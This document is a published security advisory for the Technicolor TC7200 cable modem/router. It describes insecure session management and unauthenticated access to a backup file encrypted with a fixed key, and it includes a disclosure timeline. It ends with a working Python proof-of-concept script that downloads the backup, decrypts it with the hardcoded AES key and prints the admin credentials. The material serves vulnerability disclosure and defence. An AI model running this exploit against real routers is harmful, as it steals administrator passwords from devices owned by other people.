Technicolor TC7200 Modem/Router STD6.02.11 - Multiple Vulnerabilities



EKU-ID: 5740 CVE: OSVDB-ID:
Author: Gergely Eberhardt Published: 2016-07-27 Verified: Verified
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'''
Technicolor TC7200 modem/router multiple vulnerabilities
--------------------------------------------------------
 
Platforms / Firmware confirmed affected:
- Technicolor TC7200, STD6.02.11
- Product page: http://www.technicolor.com/en/solutions-services/connected-home/broadband-devices/cable-modems-gateways/tc7200-tc7300
 
Vulnerabilities
---------------
Insecure session management
 
The web interface does not use cookies at all and does not check the IP
address of the client. If admin login is successful, every user from the
LAN can access the management interface.
 
Backup file encryption uses fix password
 
Technicolor fixed the CVE-2014-1677 by encrypting the backup file with
AES. However, the encrypted backup file remains accessible without
authentication and if the password is not set in the web interface a
default password is used. So, if an attacker accesses the backup file
without authentication, the password cannot be set, and the backup file
can be decrypted.
 
Timeline
--------
 
- 2015.07.30: We sent some new issues affecting the Ubee router and other findings in Technicolor TC7200 and Cisco EPC3925 devices to UPC
- Between 2015.07.31 and 08.12 there were several e-mail and phone communications between technical persons from Liberty Global to clarify the findings
- 2015.08.19: UPC sent out advisory emails to its end users to change the default WiFi passphrase
- 2016.01.27: UPC Magyarorszag send out a repeated warning to its end users about the importance of the change of the default passphrases.
- 2016.02.16: Face to face meeting with Liberty Global security personnel in Amsterdam headquarters
- 2016.02.18: A proposal was sent to Liberty Global suggesting a wardriving experiment in Budapest, Hungary to measure the rate of end users who are still using the default passphrases.
 
POC
---
POC script is available to demonstrate the following problems [2]:
- Unauthenticated backup file access
- Backup file decryption
 
Recommendations
---------------
Since only the ISP can update the firmware, we can recommend for users
to change the WiFi passphrase.
 
Credits
-------
This vulnerability was discovered and researched by Gergely Eberhardt
from SEARCH-LAB Ltd. (www.search-lab.hu)
 
References
----------
[1] http://www.search-lab.hu/advisories/secadv-20160720
[2] https://github.com/ebux/Cable-modems/tree/master/Technicolor
'''
#
# POC code for Technicolor TC7200
#
# Demonstrates the following vulnerabilities
#  - Unauthenticated backup file access
#  - Backup file decryption
#
# Credit: Gergely Eberhardt (@ebux25) from SEARCH-LAB Ltd. (www.search-lab.hu)
#
# Advisory: http://www.search-lab.hu/advisories/secadv-20150720
 
import sys
import requests
import struct
import binascii
from Crypto.Cipher import AES
 
class technicolor:
    def __init__(self, addr, port):
        self.addr = addr
        self.port = port
        self.s = requests.Session()
 
    def getUri(self, uri):
        return 'http://%s:%d/%s'%(self.addr,self.port,uri)
 
    def downloadBackupFile(self):
        r = self.s.get(self.getUri('goform/system/GatewaySettings.bin'))
        resp = ''
        for chunk in r:
            resp += chunk
        return resp
 
    def parseBackup(self, backup):
        p = backup.find('MLog')
        if (p > 0):
            p += 6
            nh = struct.unpack('!H',backup[p:p+2])[0]
            name = backup[p+2:p+2+nh]
            p += 2+nh
            ph = struct.unpack('!H',backup[p:p+2])[0]
            pwd = backup[p+2:p+2+nh]
            return (name,pwd)
        return ('','')
 
    def decryptBackup(self, backup):
        key = binascii.unhexlify('000102030405060708090A0B0C0D0E0F101112131415161718191A1B1C1D1E1F')
        l = (len(backup)/16)*16
        cipher = AES.new(key, AES.MODE_ECB, '\x00'*(16))
        plain = cipher.decrypt(backup[0:l])
        return plain
 
 
#------------------------------------
 
if (len(sys.argv) < 2):
    print 'technicolor_tc7200_poc.py addr [port]'
addr = sys.argv[1]
port = 80
if (len(sys.argv) == 3):
    port = int(sys.argv[2])
 
# create technicolor object
t = technicolor(addr, port)
 
backup = t.downloadBackupFile()
if (len(backup) > 0):
    open('test.enc', 'wb').write(backup)
    plain = t.decryptBackup(backup)
    open('test.dec', 'wb').write(plain)
 
    (name, pwd) = t.parseBackup(plain)
    if (name != ''):
        print 'admin name: %s, pwd: %s'%(name,pwd)